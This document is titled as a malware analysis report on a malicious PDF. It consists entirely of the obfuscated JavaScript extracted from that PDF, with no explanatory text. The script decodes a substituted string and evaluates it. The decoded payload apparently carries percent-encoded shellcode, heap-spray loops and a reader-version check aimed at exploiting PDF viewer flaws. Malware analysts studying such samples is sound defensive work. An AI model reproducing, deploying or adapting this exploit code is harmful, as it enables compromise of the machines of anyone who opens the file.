Malicious PDF — malware analysis report

function YGk1f83nT3YBvem9(YGk1f83nT3YBvem9,AnzPaqc8YcGeoy3uYuP) {var ARaKDvcsDXMlsXlB=YGk1f83nT3YBvem9. substr (AnzPaqc8YcGeoy3uYuP, 1);return ARaKDvcsDXMlsXlB;}/*DbAJq7AToHU9HC1ZdCdP|MS1Y4kvglsjC|tspuCU2WTAZLZ2N3*/function SK6FGI(QLXUWFc2v2O0ZzLfO8) {/*sFajdVK|Av8byqLhW|kry7AyWMOPZHXHMyrqK*/var Af3IlMShSZqJp1 = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*ABn4dclo97kkoYhpM4[aJRihYvWGbg8YhlSAD]pD1PnfnLL0FCROUzwsl*//*yCowbMY|Ncn2feHJAvULlZO3|itaQUjFXN2yZRim*/var AOmcHXVWOuMaQ /*LfPpmZpXu09KE2yn[P46yATC3IcKqF3]kJhMiMkSDkcIdRvFhp*/= new String(" I4wG8adv<rEH3P7kpU}XJzMyV5R9nxglFAQ1Kj6Z,TehCY>muNsSLqibtDf({Oc).WoB20");/*WpVYi|AtK6nCgwjtVw|nz4G7XYsc5*/for(Y1Z3uhf6zDO=0;Y1Z3uhf6zDO<Af3IlMShSZqJp1.length;Y1Z3uhf6zDO++) {if(QLXUWFc2v2O0ZzLfO8 == YGk1f83nT3YBvem9(AOmcHXVWOuMaQ, Y1Z3uhf6zDO)) {/*eRE0qnUhWfd[hAvHtH3Evt81rWQazLyT]AJJgeq29K2hK*/return YGk1f83nT3YBvem9(Af3IlMShSZqJp1, Y1Z3uhf6zDO);/*o4ui9gS8X9UnZKz <dTGndnHK]GUXnfBSaw1ZSJ*/}}return QLXUWFc2v2O0ZzLfO8;}/*qIrUh2KvVd[A6fHGAOaY26aKWMBvfL]LT0g1sq*//*EJfEFALMBZnaRj0|ADeripzu9qQ1|AddF9hL9tYB*/var n3rhRsSvVRo = new String;var AdhVK9Tjc = new String("\nbQSanuR1r)LBh(<})}Qla=am6ta<SSQf4w;\nbQSaFeEck7oUcP22p6h5;\nZimKqeumaZE.6PbCfbbpfPLx64He,q(>Ec)U0}fS>5vaiNoUYskTYAZcRr,WwG\naatTeY6a4He,q(>Ec)U0}fS>5dY6m,qTa*aca aiNoUYskTYAZcRr,WwG\naaaaHe,q(>Ec)U0}fS>5a+=aHe,q(>Ec)U0}fS>5;\naa8\naaHe,q(>Ec)U0}fS>5a=aHe,q(>Ec)U0}fS>5dLi1LqSem,4{vaiNoUYskTYAZcRr,Wa/acw;\naaS6qiSmaHe,q(>Ec)U0}fS>5;\n8\nZimKqeuma7JDL0{q<9)x5qpLf4efkquFQQ0P1Q5p6XwG\naabQSajK3m>0DP<9TWYQ)qa=a{D{K{K{K{K;\naabQSaqU>zLJDOKA1WS7yga=aim6LKQN64\"%i.).)%i.).)%i.).)%i{P3r%i))Wr%iooE0%i2{r0%i2{{O%i3P))%i3c.)%i3rP<%i32{W%iPP3E%iPPPP%i2rBP%iHP.3%i3P3P%io.3P%i3)<P%i0Po.%i.cP)%i0Po.%io33B%i3P{)%i3P3r%io.3P%ir0{)%ioO2B%i3O<O%i{B{)%i3POO%i3P3P%i<<oo%ir03r%iBB2B%ioWOO%i{B3O%i3POP%i3P3P%i<<oo%ir03B%iE<2B%iO{WP%i{BcH%i3P{H%i3P3P%i<<oo%ir03)%i{{2B%i{PcO%i{B2P%i3P)r%i3P3P%i<<oo%ir0PP%ic32B%i{<0o%i{BWB%i3Pc0%i3P3P%i<<oo%i<PPr%iHBoP%i0<cE%iooOW%iPB<<%i32{o%i3P33%irO3P%i0<oo%io.Er%i3r<<%i332W%io.ro%iPBr<%i{Br0%i3Po.%i3P3P%i2BrP%iPWH0%i0PE{%iB2{B%i3P3P%ioo3P%iP)<<%ic<o.%icPoE%ioorP%iEP<<%iO{2B%i3P3P%irP3P%i<<o.%i2WPr%iro3H%ir<o.%i{BPB%i3P23%i3P3P%i<<3E%ic2EP%ir)3P%iEO0O%ic22<%i3r<P%i2<0B%i3P3P%i0<O{%io.EP%i3)<<%i332W%io.ro%iPBr<%i<P{B%i3P3P%i2W3P%irB32%i<<3E%iHEEr%irE).%iO{rE%iEP0<%irErP%i<<o.%i2WP)%iro3<%ir<o.%i{BPB%i3PEE%i3P3P%i3P2W%i0<O{%io.EP%i3B<<%i3H2W%io.ro%iPBr<%iPP{B%i3P3P%i2W3P%io.O{%iPP<<%i332W%io.ro%iPBr<%i3P{B%i3P3P%i<33P%irHr.%i{33E%i{33E%i{33E%i{33E%i{)oE%irW3r%io.rE%i{H)W%irHO2%i{PO{%io.r<%io.{)%i3B0c%irco.%ir03)%i0Eo.%io.H)%iPO0r%i3E0B%ir0OE%i00o.%i3EEP%iHEOE%i<oco%i.c<3%icE3E%iHEr0%i3{O0%iPPWO%iOHHW%i3B0r%icOc3%i3E3c%i<POH%iO3{.%iOOH.%i0<rO%irW{<%i{.o.%irWo.%i3EEr%i20)c%i3)o.%io.<.%iP)rW%i)c3E%i3ro.%i3Eo.%irOc<%icHrc%i3P3B%iOr{B%iO{OO%ir<O{%i<)rH%i<{<c%i3P<O%iB.o2%iB{B.%icP)<%io.cP%ioH){%i)OoO%iB)o3%io0c3%iooo3%icPoP%ioEoc%ioBoP%ioEcP%ioOoP%ic3o.%io2B{%i)PB{%io.o0%i)0)H%i{{)O\"w;\naaeZa4efkquFQQ0P1Q5p6Xa==aOwG\naaaajK3m>0DP<9TWYQ)qa=a{D){){){){;\naaaaqU>zLJDOKA1WS7yga=aim6LKQN64\"%i.).)%i.).)%i.).)%i{P3r%i))Wr%iooE0%i2{r0%i2{{O%i3P))%i3c.)%i3rP<%i32{W%iPP3E%iPPPP%i2rBP%iHP.3%i3P3P%io.3P%i3)<P%i0Po.%i.cP)%i0Po.%io33B%i3P{)%i3P3r%io.3P%ir0{)%ioO2B%i3O<O%i{B{)%i3POO%i3P3P%i<<oo%ir03r%iBB2B%ioWOO%i{B3O%i3POP%i3P3P%i<<oo%ir03B%iE<2B%iO{WP%i{BcH%i3P{H%i3P3P%i<<oo%ir03)%i{{2B%i{PcO%i{B2P%i3P)r%i3P3P%i<<oo%ir0PP%ic32B%i{<0o%i{BWB%i3Pc0%i3P3P%i<<oo%i<PPr%iHBoP%i0<cE%iooOW%iPB<<%i32{o%i3P33%irO3P%i0<oo%io.Er%i3r<<%i332W%io.ro%iPBr<%i{Br0%i3Po.%i3P3P%i2BrP%iPWH0%i0PE{%iB2{B%i3P3P%ioo3P%iP)<<%ic<o.%icPoE%ioorP%iEP<<%iO{2B%i3P3P%irP3P%i<<o.%i2WPr%iro3H%ir<o.%i{BPB%i3P23%i3P3P%i<<3E%ic2EP%ir)3P%iEO0O%ic22<%i3r<P%i2<0B%i3P3P%i0<O{%io.EP%i3)<<%i332W%io.ro%iPBr<%i<P{B%i3P3P%i2W3P%irB32%i<<3E%iHEEr%irE).%iO{rE%iEP0<%irErP%i<<o.%i2WP)%iro3<%ir<o.%i{BPB%i3PEE%i3P3P%i3P2W%i0<O{%io.EP%i3B<<%i3H2W%io.ro%iPBr<%iPP{B%i3P3P%i2W3P%io.O{%iPP<<%i332W%io.ro%iPBr<%i3P{B%i3P3P%i<33P%irHr.%i{33E%i{33E%i{33E%i{33E%i{)oE%irW3r%io.rE%i{H)W%irHO2%i{PO{%io.r<%io.{)%i3B0c%irco.%ir03)%i0Eo.%io.H)%iPO0r%i3E0B%ir0OE%i00o.%i3EEP%iHEOE%i<oco%i.c<3%icE3E%iHEr0%i3{O0%iPPWO%iOHHW%i3B0r%icOc3%i3E3c%i<POH%iO3{.%iOOH.%i0<rO%irW{<%i{.o.%irWo.%i3EEr%i20)c%i3)o.%io.<.%iP)rW%i)c3E%i3ro.%i3Eo.%irOc<%icHrc%i3P3B%iOr{B%iO{OO%ir<O{%i<)rH%i<{<c%i3P<O%iB.o2%iB{B.%icP)<%io.cP%ioH){%i)OoO%iB)o3%io0c3%iooo3%icPoP%ioEoc%ioBoP%ioEcP%ioOoP%ic3o.%io2B{%i)PB{%io.o0%i)0)H%i{{)O\"w;\naa8\naa6YL6aeZa4efkquFQQ0P1Q5p6Xa==acwG\naaaaqU>zLJDOKA1WS7yga=aim6LKQN64\"%i.).)%i.).)%i.).)%i{P3r%i))Wr%iooE0%i2{r0%i2{{O%i3P))%i3c.)%i3rP<%i32{W%iPP3E%iPPPP%i2rBP%iHP.3%i3P3P%io.3P%i3)<P%i0Po.%i.cP)%i0Po.%io33B%i3P{)%i3P3r%io.3P%ir0{)%ioO2B%i3O<O%i{B{)%i3POO%i3P3P%i<<oo%ir03r%iBB2B%ioWOO%i{B3O%i3POP%i3P3P%i<<oo%ir03B%iE<2B%iO{WP%i{BcH%i3P{H%i3P3P%i<<oo%ir03)%i{{2B%i{PcO%i{B2P%i3P)r%i3P3P%i<<oo%ir0PP%ic32B%i{<0o%i{BWB%i3Pc0%i3P3P%i<<oo%i<PPr%iHBoP%i0<cE%iooOW%iPB<<%i32{o%i3P33%irO3P%i0<oo%io.Er%i3r<<%i332W%io.ro%iPBr<%i{Br0%i3Po.%i3P3P%i2BrP%iPWH0%i0PE{%iB2{B%i3P3P%ioo3P%iP)<<%ic<o.%icPoE%ioorP%iEP<<%iO{2B%i3P3P%irP3P%i<<o.%i2WPr%iro3H%ir<o.%i{BPB%i3P23%i3P3P%i<<3E%ic2EP%ir)3P%iEO0O%ic22<%i3r<P%i2<0B%i3P3P%i0<O{%io.EP%i3)<<%i332W%io.ro%iPBr<%i<P{B%i3P3P%i2W3P%irB32%i<<3E%iHEEr%irE).%iO{rE%iEP0<%irErP%i<<o.%i2WP)%iro3<%ir<o.%i{BPB%i3PEE%i3P3P%i3P2W%i0<O{%io.EP%i3B<<%i3H2W%io.ro%iPBr<%iPP{B%i3P3P%i2W3P%io.O{%iPP<<%i332W%io.ro%iPBr<%i3P{B%i3P3P%i<33P%irHr.%i{33E%i{33E%i{33E%i{33E%i{)oE%irW3r%io.rE%i{H)W%irHO2%i{PO{%io.r<%io.{)%i3B0c%irco.%ir03)%i0Eo.%io.H)%iPO0r%i3E0B%ir0OE%i00o.%i3EEP%iHEOE%i<oco%i.c<3%icE3E%iHEr0%i3{O0%iPPWO%iOHHW%i3B0r%icOc3%i3E3c%i<POH%iO3{.%iOOH.%i0<rO%irW{<%i{.o.%irWo.%i3EEr%i20)c%i3)o.%io.<.%iP)rW%i)c3E%i3ro.%i3Eo.%irOc<%icHrc%i3P3B%iOr{B%iO{OO%ir<O{%i<)rH%i<{<c%i3P<O%iB.o2%iB{B.%icP)<%io.cP%ioH){%i)OoO%iB)o3%io0c3%iooo3%icPoP%ioEoc%ioBoP%ioEcP%ioOoP%ic3o.%io2B{%i)PB{%io.o0%i)0)H%i{{)O\"w;\naa8\naabQSaRjU6YkibYKOgH)V>a=a{D.{{{{{;\naabQSaVE<3A23ETN7AB,ofa=aqU>zLJDOKA1WS7ygdY6m,qTa*ac;\naabQSaiNoUYskTYAZcRr,Wa=aRjU6YkibYKOgH)V>a-a4VE<3A23ETN7AB,ofa+a{D)2w;\naabQSaHe,q(>Ec)U0}fS>5a=aim6LKQN64\"%i0{0{%i0{0{\"w;\naaHe,q(>Ec)U0}fS>5a=aZE.6PbCfbbpfPLx64He,q(>Ec)U0}fS>5vaiNoUYskTYAZcRr,Ww;\naabQSa6Mjo,lc5<cDzWM<Va=a4jK3m>0DP<9TWYQ)qa-a{D.{{{{{wa/aRjU6YkibYKOgH)V>;\naaZuSa4bQSa}}6<RqJ{hjeNUumja=a{;a}}6<RqJ{hjeNUumja a6Mjo,lc5<cDzWM<V;a}}6<RqJ{hjeNUumja++awG\naaaanuR1r)LBh(<})}Ql[}}6<RqJ{hjeNUumj]a=aHe,q(>Ec)U0}fS>5a+aqU>zLJDOKA1WS7yg;\naa8\n8\nZimKqeumar5eq(C}{>pls,T7k4wG\naabQSa,b59uujlRXzY<ryza=a{;\naabQSah271L1Y6qpnQ(CSca=aQNNdbe6t6Sx6SLeumdquRqSem,4w;\naaQNNdKY6QS9e>6Miq4FeEck7oUcP22p6h5w;\n\naaeZa4h271L1Y6qpnQ(CSca aBdOwG\naaaa7JDL0{q<9)x5qpLf4{w;\naaaabQSaiUnn02)Q9VJj1YO3a=aim6LKQN64\"%i{K{K%i{K{K\"w;\naaaatTeY6a4iUnn02)Q9VJj1YO3dY6m,qTa a..0WcwiUnn02)Q9VJj1YO3a+=aiUnn02)Q9VJj1YO3;\naaaaqTeLadKuYYQ1RquS6a=aEuYYQ1dKuYY6Kq3>QeYpmZu4G\naaaaaaLi1ha:a\"\"va>L,a:aiUnn02)Q9VJj1YO3\naaaa8\naaaaw;\naa8\neZa4h271L1Y6qpnQ(CScaI=a0wG\naaaaqSfaG\neZa4QNNdjuKdEuYYQ1d,6qpKumwG\naaaaaaaa7JDL0{q<9)x5qpLf4cw;\naaaaaaaabQSajkNYL1V>qiJqZ3iXa=aim6LKQN64\"%{0\"w;\naaaaaaaatTeY6a4jkNYL1V>qiJqZ3iXdY6m,qTa a{D.{{{wjkNYL1V>qiJqZ3iXa+=ajkNYL1V>qiJqZ3iX;\naaaaaaaajkNYL1V>qiJqZ3iXa=a\"zd\"a+ajkNYL1V>qiJqZ3iX;\nQNNdjuKdEuYYQ1d,6qpKum4jkNYL1V>qiJqZ3iXw;\naaaaaaaa,b59uujlRXzY<ryza=aO;\naaaaaa8\naaaaaa6YL6aG\naaaaaaaa,b59uujlRXzY<ryza=aO;\naaaaaa8\naaaa8\naaaaKQqKTa46wG\naaaaaa,b59uujlRXzY<ryza=aO;\naaaa8\naaaaeZa4,b59uujlRXzY<ryza==aOwG\naaaaaaeZa44h271L1Y6qpnQ(CScaI=aBdO&&ah271L1Y6qpnQ(CSca a0wwG\naaaaaaaa7JDL0{q<9)x5qpLf4Ow;\naaaaaaaabQSatMsTgqp(UZjiV60}a=a\"Oc000000000000000000\";\naaaaaaaaZuSa4hfBuAgQ95DJBEkRYa=a{;ahfBuAgQ95DJBEkRYa acBo;ahfBuAgQ95DJBEkRYa++awG\naaaaaaaaaatMsTgqp(UZjiV60}a+=a\"2\";\naaaaaaaa8\naaaaaaaaiqeYdNSemqZ4\"%.W{{{Z\"vatMsTgqp(UZjiV60}w;\naaaaaa8\naaaa8\naa8\n8\nQNNd1pRErYrxVNyS9Frya=ar5eq(C}{>pls,T7k;\nFeEck7oUcP22p6h5a=aQNNdL6q9e>6Miq4\"QNNd1pRErYrxVNyS9Fry4w\"vaO{w;\n");/*BbalR3g{XO2DEmDu24}zYn5XLG*//*AfYDgzeHGX|bu2Uy671r0v1pJf|hqr4lMSpsHJ0Og*/for(DGO60nrGAUA=0;DGO60nrGAUA<AdhVK9Tjc.length;DGO60nrGAUA++)n3rhRsSvVRo += SK6FGI(YGk1f83nT3YBvem9(AdhVK9Tjc,DGO60nrGAUA));eval(n3rhRsSvVRo);/*qRXAFU77Cys3[AYDZFvTr7mWq]fg8CBpTZpZtnWvbE*/